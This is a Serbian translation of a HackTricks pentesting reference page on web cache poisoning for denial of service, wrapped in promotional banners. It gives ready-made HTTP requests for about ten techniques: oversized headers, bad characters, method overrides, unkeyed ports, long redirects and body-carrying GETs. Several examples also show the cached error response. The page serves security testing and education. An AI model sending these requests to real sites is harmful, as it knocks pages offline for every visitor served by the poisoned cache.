6.3 KiB
Trovanje keša za DoS
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
{% hint style="danger" %} Na ovoj stranici možete pronaći različite varijacije za pokušaj da se veb server odgovori sa greškama na zahteve koji su validni za keš servere {% endhint %}
- Prekoračenje HTTP zaglavlja (HHO)
Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava veb server, ali manjom od one koju podržava keš server. Veb server će odgovoriti sa 400 odgovorom koji može biti keširan:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Karakter (HMC) & Neočekivane vrednosti
Pošaljite zaglavlje koje sadrži neke štetne meta karaktere kao što su \n
i \r
. Da bi napad uspeo, prvo morate zaobići keš.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Loše konfigurisan zaglavlje može biti samo \:
kao zaglavlje.
Ovo takođe može raditi ako se šalju neočekivane vrednosti, poput neočekivanog Content-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Neindeksirani zaglavlje
Neke veb lokacije će vratiti statusni kod greške ako vide određena zaglavlja u zahtevu, kao što je zaglavlje X-Amz-Website-Location-Redirect: nešto:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- Napad preko zamene HTTP metoda (HMO)
Ako server podržava promenu HTTP metoda pomoću zaglavlja poput X-HTTP-Method-Override
, X-HTTP-Method
ili X-Method-Override
. Moguće je zatražiti validnu stranicu menjajući metod koji server ne podržava, što može rezultirati lošim odgovorom koji se kešira:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Neključani port
Ako se port u zaglavlju Host odražava u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na nekorišćeni port:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Dugačko preusmeravanje DoS
Kao u sledećem primeru, x nije keširan, pa napadač može zloupotrebiti ponašanje odgovora preusmeravanja kako bi naterao preusmeravanje da pošalje URL koji je toliko veliki da izaziva grešku. Zatim, ljudi koji pokušavaju da pristupe URL-u bez neke keširane x ključne reči dobiće odgovor o grešci:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Normalizacija slučaja zaglavlja domaćina
Zaglavlje domaćina treba da bude neosetljivo na veličinu slova, ali neki veb sajtovi očekuju da bude malim slovima i vraćaju grešku ako nije:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Normalizacija putanje
Neke stranice će vratiti kodove grešaka slanjem podataka URLenkodiranih u putanji, međutim, keš server će URLdekodirati putanju i sačuvati odgovor za URLdekodiranu putanju:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Debeli Get
Neke keš servere, poput Cloudflare-a, ili veb servere, zaustavljaju GET zahteve sa telom, pa bi ovo moglo biti zloupotrebljeno da bi se keširao nevažeći odgovor:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Reference
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.